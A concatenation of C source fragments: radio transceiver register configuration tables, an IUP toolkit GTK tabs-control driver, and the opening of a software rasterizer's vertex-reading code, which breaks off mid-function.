.rx_chf_coeffs_32mhz.rx_chf_coef_2 = 0xFFEF,
.rx_chf_coeffs_32mhz.rx_chf_coef_3 = 0xFFEB,
.rx_chf_coeffs_32mhz.rx_chf_coef_4 = 0xFFEB,
.rx_chf_coeffs_32mhz.rx_chf_coef_5 = 0xFFF2,
.rx_chf_coeffs_32mhz.rx_chf_coef_6 = 0x0000,
.rx_chf_coeffs_32mhz.rx_chf_coef_7 = 0x0015,
.rx_chf_coeffs_32mhz.rx_chf_coef_8 = 0x0030,
.rx_chf_coeffs_32mhz.rx_chf_coef_9 = 0x004A,
.rx_chf_coeffs_32mhz.rx_chf_coef_10 = 0x005F,
.rx_chf_coeffs_32mhz.rx_chf_coef_11 = 0x006B,
.rx_rccal_ctrl_0 = XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_DIS(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_SMP_DLY(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_COMP_INV(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_DIS(0) ,
.rx_rccal_ctrl_1 = XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_DIS(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_DIS(0) ,
.tx_fsk_scale_26mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1627) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x09d9),
.tx_fsk_scale_32mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1800) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x0800),
};
const xcvr_mode_datarate_config_t xcvr_GFSK_BT_0p5_h_0p5_500kbps_config =
{
.radio_mode = GFSK_BT_0p5_h_0p5,
.data_rate = DR_500KBPS,
.ana_sy_ctrl2.mask = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM_MASK,
.ana_sy_ctrl2.init = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM(0), /* VCO KVM */
.ana_rx_bba.mask = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL_MASK | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL_MASK,
.ana_rx_bba.init = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL(5) | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL(5), /* BBA_BW_SEL and BBA2_BW_SEL */
.ana_rx_tza.mask = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL_MASK,
.ana_rx_tza.init = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL(5), /* TZA_BW_SEL */
.phy_cfg2_init = XCVR_PHY_CFG2_PHY_FIFO_PRECHG(8) |
XCVR_PHY_CFG2_X2_DEMOD_GAIN(0x8) ,
/* AGC configs */
.agc_ctrl_2_init_26mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(15) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(6) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
.agc_ctrl_2_init_32mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(18) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(6) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
/* All constant values are represented as 16 bits, register writes will remove unused bits */
.rx_chf_coeffs_26mhz.rx_chf_coef_0 = 0x0004,
.rx_chf_coeffs_26mhz.rx_chf_coef_1 = 0x0003,
.rx_chf_coeffs_26mhz.rx_chf_coef_2 = 0xFFFE,
.rx_chf_coeffs_26mhz.rx_chf_coef_3 = 0xFFF5,
.rx_chf_coeffs_26mhz.rx_chf_coef_4 = 0xFFEC,
.rx_chf_coeffs_26mhz.rx_chf_coef_5 = 0xFFE8,
.rx_chf_coeffs_26mhz.rx_chf_coef_6 = 0xFFEE,
.rx_chf_coeffs_26mhz.rx_chf_coef_7 = 0x0001,
.rx_chf_coeffs_26mhz.rx_chf_coef_8 = 0x0020,
.rx_chf_coeffs_26mhz.rx_chf_coef_9 = 0x0045,
.rx_chf_coeffs_26mhz.rx_chf_coef_10 = 0x0065,
.rx_chf_coeffs_26mhz.rx_chf_coef_11 = 0x0079,
/* 32MHz */
.rx_chf_coeffs_32mhz.rx_chf_coef_0 = 0x0005,
.rx_chf_coeffs_32mhz.rx_chf_coef_1 = 0x0006,
.rx_chf_coeffs_32mhz.rx_chf_coef_2 = 0x0003,
.rx_chf_coeffs_32mhz.rx_chf_coef_3 = 0xFFFA,
.rx_chf_coeffs_32mhz.rx_chf_coef_4 = 0xFFEF,
.rx_chf_coeffs_32mhz.rx_chf_coef_5 = 0xFFE6,
.rx_chf_coeffs_32mhz.rx_chf_coef_6 = 0xFFE7,
.rx_chf_coeffs_32mhz.rx_chf_coef_7 = 0xFFF8,
.rx_chf_coeffs_32mhz.rx_chf_coef_8 = 0x0019,
.rx_chf_coeffs_32mhz.rx_chf_coef_9 = 0x0042,
.rx_chf_coeffs_32mhz.rx_chf_coef_10 = 0x0069,
.rx_chf_coeffs_32mhz.rx_chf_coef_11 = 0x0080,
.rx_rccal_ctrl_0 = XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_DIS(1) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_SMP_DLY(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_COMP_INV(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_DIS(1) ,
.rx_rccal_ctrl_1 = XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_DIS(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_DIS(1) ,
.tx_fsk_scale_26mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1627) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x09d9),
.tx_fsk_scale_32mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1800) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x0800),
};
const xcvr_mode_datarate_config_t xcvr_GFSK_BT_0p5_h_0p5_250kbps_config =
{
.radio_mode = GFSK_BT_0p5_h_0p5,
.data_rate = DR_250KBPS,
.ana_sy_ctrl2.mask = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM_MASK,
.ana_sy_ctrl2.init = XCVR_ANALOG_SY_CTRL_2_SY_VCO_KVM(0), /* VCO KVM */
.ana_rx_bba.mask = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL_MASK | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL_MASK,
.ana_rx_bba.init = XCVR_ANALOG_RX_BBA_RX_BBA_BW_SEL(5) | XCVR_ANALOG_RX_BBA_RX_BBA2_BW_SEL(5), /* BBA_BW_SEL and BBA2_BW_SEL */
.ana_rx_tza.mask = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL_MASK,
.ana_rx_tza.init = XCVR_ANALOG_RX_TZA_RX_TZA_BW_SEL(5), /* TZA_BW_SEL */
.phy_cfg2_init = XCVR_PHY_CFG2_PHY_FIFO_PRECHG(8) |
XCVR_PHY_CFG2_X2_DEMOD_GAIN(0x6) ,
/* AGC configs */
.agc_ctrl_2_init_26mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(18) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(6) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
.agc_ctrl_2_init_32mhz = XCVR_RX_DIG_AGC_CTRL_2_BBA_GAIN_SETTLE_TIME(22) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_LO(5) |
XCVR_RX_DIG_AGC_CTRL_2_BBA_PDET_SEL_HI(2) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_LO(3) |
XCVR_RX_DIG_AGC_CTRL_2_TZA_PDET_SEL_HI(7) |
XCVR_RX_DIG_AGC_CTRL_2_AGC_FAST_EXPIRE(5),
/* All constant values are represented as 16 bits, register writes will remove unused bits */
.rx_chf_coeffs_26mhz.rx_chf_coef_0 = 0x0002,
.rx_chf_coeffs_26mhz.rx_chf_coef_1 = 0xFFFD,
.rx_chf_coeffs_26mhz.rx_chf_coef_2 = 0xFFF8,
.rx_chf_coeffs_26mhz.rx_chf_coef_3 = 0xFFF1,
.rx_chf_coeffs_26mhz.rx_chf_coef_4 = 0xFFEC,
.rx_chf_coeffs_26mhz.rx_chf_coef_5 = 0xFFED,
.rx_chf_coeffs_26mhz.rx_chf_coef_6 = 0xFFF7,
.rx_chf_coeffs_26mhz.rx_chf_coef_7 = 0x000B,
.rx_chf_coeffs_26mhz.rx_chf_coef_8 = 0x0027,
.rx_chf_coeffs_26mhz.rx_chf_coef_9 = 0x0046,
.rx_chf_coeffs_26mhz.rx_chf_coef_10 = 0x0060,
.rx_chf_coeffs_26mhz.rx_chf_coef_11 = 0x0070,
/* 32MHz Channel Filter */
.rx_chf_coeffs_32mhz.rx_chf_coef_0 = 0x0002,
.rx_chf_coeffs_32mhz.rx_chf_coef_1 = 0xFFFD,
.rx_chf_coeffs_32mhz.rx_chf_coef_2 = 0xFFF8,
.rx_chf_coeffs_32mhz.rx_chf_coef_3 = 0xFFF1,
.rx_chf_coeffs_32mhz.rx_chf_coef_4 = 0xFFEC,
.rx_chf_coeffs_32mhz.rx_chf_coef_5 = 0xFFED,
.rx_chf_coeffs_32mhz.rx_chf_coef_6 = 0xFFF6,
.rx_chf_coeffs_32mhz.rx_chf_coef_7 = 0x000A,
.rx_chf_coeffs_32mhz.rx_chf_coef_8 = 0x0027,
.rx_chf_coeffs_32mhz.rx_chf_coef_9 = 0x0046,
.rx_chf_coeffs_32mhz.rx_chf_coef_10 = 0x0061,
.rx_chf_coeffs_32mhz.rx_chf_coef_11 = 0x0071,
.rx_rccal_ctrl_0 = XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_BBA_RCCAL_DIS(1) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_SMP_DLY(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_RCCAL_COMP_INV(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL0_TZA_RCCAL_DIS(1) ,
.rx_rccal_ctrl_1 = XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_MANUAL(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_ADC_RCCAL_DIS(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_OFFSET(0) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_MANUAL(31) |
XCVR_RX_DIG_RX_RCCAL_CTRL1_BBA2_RCCAL_DIS(1) ,
.tx_fsk_scale_26mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1627) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x09d9),
.tx_fsk_scale_32mhz = XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_0(0x1800) | XCVR_TX_DIG_FSK_SCALE_FSK_MODULATION_SCALE_1(0x0800),
};
|
219178.c | /** \file
* \brief Tabs Control
*
* See Copyright Notice in "iup.h"
*/
#include <gtk/gtk.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <memory.h>
#include <stdarg.h>
#include "iup.h"
#include "iupcbs.h"
#include "iup_object.h"
#include "iup_layout.h"
#include "iup_attrib.h"
#include "iup_str.h"
#include "iup_dialog.h"
#include "iup_drv.h"
#include "iup_drvfont.h"
#include "iup_stdcontrols.h"
#include "iup_image.h"
#include "iup_tabs.h"
#include "iupgtk_drv.h"
int iupdrvTabsExtraDecor(Ihandle* ih)
{
(void)ih;
return 0;
}
int iupdrvTabsGetLineCountAttrib(Ihandle* ih)
{
(void)ih;
return 1;
}
void iupdrvTabsSetCurrentTab(Ihandle* ih, int pos)
{
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", "1");
gtk_notebook_set_current_page((GtkNotebook*)ih->handle, pos);
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", NULL);
}
int iupdrvTabsGetCurrentTab(Ihandle* ih)
{
return gtk_notebook_get_current_page((GtkNotebook*)ih->handle);
}
static void gtkTabsUpdatePageFont(Ihandle* ih)
{
Ihandle* child;
PangoFontDescription* fontdesc = (PangoFontDescription*)iupgtkGetPangoFontDescAttrib(ih);
for (child = ih->firstchild; child; child = child->brother)
{
GtkWidget* tab_label = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABLABEL");
if (tab_label)
{
gtk_widget_modify_font(tab_label, fontdesc);
iupgtkFontUpdatePangoLayout(ih, gtk_label_get_layout((GtkLabel*)tab_label));
}
}
}
static void gtkTabsUpdatePageBgColor(Ihandle* ih, unsigned char r, unsigned char g, unsigned char b)
{
Ihandle* child;
for (child = ih->firstchild; child; child = child->brother)
{
GtkWidget* tab_container = (GtkWidget*)iupAttribGet(child, "_IUPTAB_CONTAINER");
if (tab_container)
{
GtkWidget* tab_label = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABLABEL");
if (tab_label)
iupgtkBaseSetBgColor(tab_label, r, g, b);
iupgtkBaseSetBgColor(tab_container, r, g, b);
}
}
}
static void gtkTabsUpdatePageFgColor(Ihandle* ih, unsigned char r, unsigned char g, unsigned char b)
{
Ihandle* child;
for (child = ih->firstchild; child; child = child->brother)
{
GtkWidget* tab_label = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABLABEL");
if (tab_label)
iupgtkBaseSetFgColor(tab_label, r, g, b);
}
}
static void gtkTabsUpdatePagePadding(Ihandle* ih)
{
Ihandle* child;
for (child = ih->firstchild; child; child = child->brother)
{
GtkWidget* tab_label = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABLABEL");
if (tab_label)
gtk_misc_set_padding((GtkMisc*)tab_label, ih->data->horiz_padding, ih->data->vert_padding);
}
}
/* ------------------------------------------------------------------------- */
/* gtkTabs - Sets and Gets accessors */
/* ------------------------------------------------------------------------- */
static int gtkTabsSetPaddingAttrib(Ihandle* ih, const char* value)
{
iupStrToIntInt(value, &ih->data->horiz_padding, &ih->data->vert_padding, 'x');
if (ih->handle)
gtkTabsUpdatePagePadding(ih);
return 0;
}
static void gtkTabsUpdateTabType(Ihandle* ih)
{
int iup2gtk[4] = {GTK_POS_TOP, GTK_POS_BOTTOM, GTK_POS_LEFT, GTK_POS_RIGHT};
gtk_notebook_set_tab_pos((GtkNotebook*)ih->handle, iup2gtk[ih->data->type]);
}
static int gtkTabsSetTabTypeAttrib(Ihandle* ih, const char* value)
{
if(iupStrEqualNoCase(value, "BOTTOM"))
ih->data->type = ITABS_BOTTOM;
else if(iupStrEqualNoCase(value, "LEFT"))
ih->data->type = ITABS_LEFT;
else if(iupStrEqualNoCase(value, "RIGHT"))
ih->data->type = ITABS_RIGHT;
else /* "TOP" */
ih->data->type = ITABS_TOP;
if (ih->handle)
gtkTabsUpdateTabType(ih);
return 0;
}
static int gtkTabsSetTabOrientationAttrib(Ihandle* ih, const char* value)
{
if (ih->handle) /* allow to set only before mapping */
return 0;
if(iupStrEqualNoCase(value, "VERTICAL"))
ih->data->orientation = ITABS_VERTICAL;
else /* HORIZONTAL */
ih->data->orientation = ITABS_HORIZONTAL;
return 0;
}
static int gtkTabsSetTabTitleAttrib(Ihandle* ih, const char* name_id, const char* value)
{
int pos;
if (value && iupStrToInt(name_id, &pos)==1)
{
Ihandle* child = IupGetChild(ih, pos);
GtkWidget* tab_label = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABLABEL");
if (tab_label)
{
GtkWidget* tab_page = (GtkWidget*)iupAttribGet(child, "_IUPTAB_PAGE");
gtk_label_set_text((GtkLabel*)tab_label, iupgtkStrConvertToUTF8(value));
gtk_notebook_set_menu_label_text((GtkNotebook*)ih->handle, tab_page, gtk_label_get_text((GtkLabel*)tab_label));
}
}
return 1;
}
static int gtkTabsSetTabImageAttrib(Ihandle* ih, const char* name_id, const char* value)
{
int pos;
if (value && iupStrToInt(name_id, &pos)==1)
{
Ihandle* child = IupGetChild(ih, pos);
GtkWidget* tab_image = (GtkWidget*)iupAttribGet(child, "_IUPGTK_TABIMAGE");
if (tab_image)
{
GdkPixbuf* pixbuf = iupImageGetImage(value, ih, 0);
if (pixbuf)
gtk_image_set_from_pixbuf((GtkImage*)tab_image, pixbuf);
}
}
return 1;
}
static int gtkTabsSetStandardFontAttrib(Ihandle* ih, const char* value)
{
iupdrvSetStandardFontAttrib(ih, value);
if (ih->handle)
gtkTabsUpdatePageFont(ih);
return 1;
}
static int gtkTabsSetFgColorAttrib(Ihandle* ih, const char* value)
{
unsigned char r, g, b;
if (!iupStrToRGB(value, &r, &g, &b))
return 0;
iupgtkBaseSetFgColor(ih->handle, r, g, b);
gtkTabsUpdatePageFgColor(ih, r, g, b);
return 1;
}
static int gtkTabsSetBgColorAttrib(Ihandle* ih, const char* value)
{
unsigned char r, g, b;
if (!iupStrToRGB(value, &r, &g, &b))
return 0;
iupgtkBaseSetBgColor(ih->handle, r, g, b);
gtkTabsUpdatePageBgColor(ih, r, g, b);
return 1;
}
/* ------------------------------------------------------------------------- */
/* gtkTabs - Callbacks */
/* ------------------------------------------------------------------------- */
void gtkTabSwitchPage(GtkNotebook* notebook, GtkNotebookPage *page, int pos, Ihandle* ih)
{
IFnnn cb;
Ihandle* child = IupGetChild(ih, pos);
Ihandle* prev_child = IupGetChild(ih, iupdrvTabsGetCurrentTab(ih));
GtkWidget* tab_container = (GtkWidget*)iupAttribGet(child, "_IUPTAB_CONTAINER");
GtkWidget* prev_tab_container = (GtkWidget*)iupAttribGet(prev_child, "_IUPTAB_CONTAINER");
if (tab_container) gtk_widget_show(tab_container);
if (prev_tab_container) gtk_widget_hide(prev_tab_container);
if (iupAttribGet(ih, "_IUPGTK_IGNORE_CHANGE"))
return;
cb = (IFnnn)IupGetCallback(ih, "TABCHANGE_CB");
if (cb)
cb(ih, child, prev_child);
(void)notebook;
(void)page;
}
/* ------------------------------------------------------------------------- */
/* gtkTabs - Methods and Init Class */
/* ------------------------------------------------------------------------- */
static void gtkTabsChildAddedMethod(Ihandle* ih, Ihandle* child)
{
if (IupGetName(child) == NULL)
iupAttribSetHandleName(child);
if (ih->handle)
{
GtkWidget *tab_page, *tab_container;
GtkWidget *tab_label = NULL, *tab_image = NULL;
char *tabtitle, *tabimage;
int pos;
unsigned char r, g, b;
pos = IupGetChildPos(ih, child);
tab_page = gtk_vbox_new(FALSE, 0);
gtk_widget_show(tab_page);
tab_container = gtk_fixed_new();
gtk_widget_show(tab_container);
gtk_container_add((GtkContainer*)tab_page, tab_container);
tabtitle = iupAttribGet(child, "TABTITLE");
if (!tabtitle) tabtitle = iupTabsAttribGetStrId(ih, "TABTITLE", pos);
tabimage = iupAttribGet(child, "TABIMAGE");
if (!tabimage) tabimage = iupTabsAttribGetStrId(ih, "TABIMAGE", pos);
if (!tabtitle && !tabimage)
tabtitle = " ";
if (tabtitle)
{
tab_label = gtk_label_new(iupgtkStrConvertToUTF8(tabtitle));
#if GTK_CHECK_VERSION(2, 6, 0)
if (ih->data->orientation == ITABS_VERTICAL)
gtk_label_set_angle((GtkLabel*)tab_label, 90);
#endif
}
if (tabimage)
{
GdkPixbuf* pixbuf = iupImageGetImage(tabimage, ih, 0);
tab_image = gtk_image_new();
if (pixbuf)
gtk_image_set_from_pixbuf((GtkImage*)tab_image, pixbuf);
}
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", "1");
if (tabimage && tabtitle)
{
GtkWidget* box;
if (ih->data->orientation == ITABS_VERTICAL)
box = gtk_vbox_new(FALSE, 2);
else
box = gtk_hbox_new(FALSE, 2);
gtk_widget_show(box);
gtk_container_add((GtkContainer*)box, tab_image);
gtk_container_add((GtkContainer*)box, tab_label);
gtk_notebook_insert_page((GtkNotebook*)ih->handle, tab_page, box, pos);
gtk_notebook_set_menu_label_text((GtkNotebook*)ih->handle, tab_page, gtk_label_get_text((GtkLabel*)tab_label));
}
else if (tabimage)
gtk_notebook_insert_page((GtkNotebook*)ih->handle, tab_page, tab_image, pos);
else
gtk_notebook_insert_page((GtkNotebook*)ih->handle, tab_page, tab_label, pos);
gtk_widget_realize(tab_page);
iupAttribSetStr(child, "_IUPGTK_TABIMAGE", (char*)tab_image); /* store it even if its NULL */
iupAttribSetStr(child, "_IUPGTK_TABLABEL", (char*)tab_label);
iupAttribSetStr(child, "_IUPTAB_CONTAINER", (char*)tab_container);
iupAttribSetStr(child, "_IUPTAB_PAGE", (char*)tab_page);
iupStrToRGB(IupGetAttribute(ih, "BGCOLOR"), &r, &g, &b);
iupgtkBaseSetBgColor(tab_container, r, g, b);
if (tabtitle)
{
PangoFontDescription* fontdesc = (PangoFontDescription*)iupgtkGetPangoFontDescAttrib(ih);
gtk_widget_modify_font(tab_label, fontdesc);
iupgtkFontUpdatePangoLayout(ih, gtk_label_get_layout((GtkLabel*)tab_label));
iupgtkBaseSetBgColor(tab_label, r, g, b);
iupStrToRGB(IupGetAttribute(ih, "FGCOLOR"), &r, &g, &b);
iupgtkBaseSetFgColor(tab_label, r, g, b);
gtk_widget_show(tab_label);
gtk_widget_realize(tab_label);
}
if (tabimage)
{
gtk_widget_show(tab_image);
gtk_widget_realize(tab_image);
}
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", NULL);
if (pos != iupdrvTabsGetCurrentTab(ih))
gtk_widget_hide(tab_container);
}
}
static void gtkTabsChildRemovedMethod(Ihandle* ih, Ihandle* child)
{
if (ih->handle)
{
GtkWidget* tab_page = (GtkWidget*)iupAttribGet(child, "_IUPTAB_PAGE");
if (tab_page)
{
int pos = gtk_notebook_page_num((GtkNotebook*)ih->handle, tab_page);
iupTabsTestRemoveTab(ih, pos);
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", "1");
gtk_notebook_remove_page((GtkNotebook*)ih->handle, pos);
iupAttribSetStr(ih, "_IUPGTK_IGNORE_CHANGE", NULL);
iupAttribSetStr(child, "_IUPGTK_TABIMAGE", NULL);
iupAttribSetStr(child, "_IUPGTK_TABLABEL", NULL);
iupAttribSetStr(child, "_IUPTAB_CONTAINER", NULL);
iupAttribSetStr(child, "_IUPTAB_PAGE", NULL);
}
}
}
static int gtkTabsMapMethod(Ihandle* ih)
{
ih->handle = gtk_notebook_new();
if (!ih->handle)
return IUP_ERROR;
gtk_notebook_set_scrollable((GtkNotebook*)ih->handle, TRUE);
gtk_notebook_popup_enable((GtkNotebook*)ih->handle);
gtkTabsUpdateTabType(ih);
/* add to the parent, all GTK controls must call this. */
iupgtkBaseAddToParent(ih);
gtk_widget_add_events(ih->handle, GDK_ENTER_NOTIFY_MASK|GDK_LEAVE_NOTIFY_MASK);
g_signal_connect(G_OBJECT(ih->handle), "enter-notify-event", G_CALLBACK(iupgtkEnterLeaveEvent), ih);
g_signal_connect(G_OBJECT(ih->handle), "leave-notify-event", G_CALLBACK(iupgtkEnterLeaveEvent), ih);
g_signal_connect(G_OBJECT(ih->handle), "focus-in-event", G_CALLBACK(iupgtkFocusInOutEvent), ih);
g_signal_connect(G_OBJECT(ih->handle), "focus-out-event", G_CALLBACK(iupgtkFocusInOutEvent), ih);
g_signal_connect(G_OBJECT(ih->handle), "key-press-event", G_CALLBACK(iupgtkKeyPressEvent), ih);
g_signal_connect(G_OBJECT(ih->handle), "show-help", G_CALLBACK(iupgtkShowHelp), ih);
g_signal_connect(G_OBJECT(ih->handle), "switch-page", G_CALLBACK(gtkTabSwitchPage), ih);
gtk_widget_realize(ih->handle);
/* Create pages and tabs */
if (ih->firstchild)
{
Ihandle* child;
for (child = ih->firstchild; child; child = child->brother)
gtkTabsChildAddedMethod(ih, child);
}
return IUP_NOERROR;
}
void iupdrvTabsInitClass(Iclass* ic)
{
/* Driver Dependent Class functions */
ic->Map = gtkTabsMapMethod;
ic->ChildAdded = gtkTabsChildAddedMethod;
ic->ChildRemoved = gtkTabsChildRemovedMethod;
/* Driver Dependent Attribute functions */
/* Common */
iupClassRegisterAttribute(ic, "STANDARDFONT", NULL, gtkTabsSetStandardFontAttrib, IUPAF_SAMEASSYSTEM, "DEFAULTFONT", IUPAF_NOT_MAPPED);
/* Visual */
iupClassRegisterAttribute(ic, "BGCOLOR", NULL, gtkTabsSetBgColorAttrib, IUPAF_SAMEASSYSTEM, "DLGBGCOLOR", IUPAF_DEFAULT);
iupClassRegisterAttribute(ic, "FGCOLOR", NULL, gtkTabsSetFgColorAttrib, IUPAF_SAMEASSYSTEM, "DLGFGCOLOR", IUPAF_DEFAULT);
/* IupTabs only */
iupClassRegisterAttribute(ic, "TABTYPE", iupTabsGetTabTypeAttrib, gtkTabsSetTabTypeAttrib, IUPAF_SAMEASSYSTEM, "TOP", IUPAF_NOT_MAPPED|IUPAF_NO_INHERIT);
iupClassRegisterAttribute(ic, "TABORIENTATION", iupTabsGetTabOrientationAttrib, gtkTabsSetTabOrientationAttrib, IUPAF_SAMEASSYSTEM, "HORIZONTAL", IUPAF_NOT_MAPPED|IUPAF_NO_INHERIT);
iupClassRegisterAttributeId(ic, "TABTITLE", NULL, gtkTabsSetTabTitleAttrib, IUPAF_NO_INHERIT);
iupClassRegisterAttributeId(ic, "TABIMAGE", NULL, gtkTabsSetTabImageAttrib, IUPAF_NO_INHERIT);
iupClassRegisterAttribute(ic, "PADDING", iupTabsGetPaddingAttrib, gtkTabsSetPaddingAttrib, IUPAF_SAMEASSYSTEM, "0x0", IUPAF_NOT_MAPPED|IUPAF_NO_INHERIT);
}
|
531135.c | #include "inputassembler.h"
#include "rasterizer.h"
#include "context.h"
#include "config.h"
#include "shader.h"
#include "vector.h"
#include <math.h>
static MATH_CONST vec4 decode_f2(void *ptr)
{
return vec4_set(((float *)ptr)[0], ((float *)ptr)[1], 0.0f, 1.0f);
}
static MATH_CONST vec4 decode_f3(void *ptr)
{
return vec4_set(((float *)ptr)[0], ((float *)ptr)[1],
((float *)ptr)[2], 1.0f);
}
static MATH_CONST vec4 decode_f4(void *ptr)
{
return vec4_set(((float *)ptr)[0], ((float *)ptr)[1],
((float *)ptr)[2], ((float *)ptr)[3]);
}
static unsigned char *read_vertex(rs_vertex *v, unsigned char *ptr,
int vertex_format)
{
/* initialize vertex structure */
v->attribs[ATTRIB_POS] = vec4_set(0.0f, 0.0f, 0.0f, 1.0f);
v->attribs[ATTRIB_COLOR] = vec4_set(1.0f, 1.0f, 1.0f, 1.0f);
v->attribs[ATTRIB_NORMAL] = vec4_set(0.0f, 0.0f, 0.0f, 0.0f);
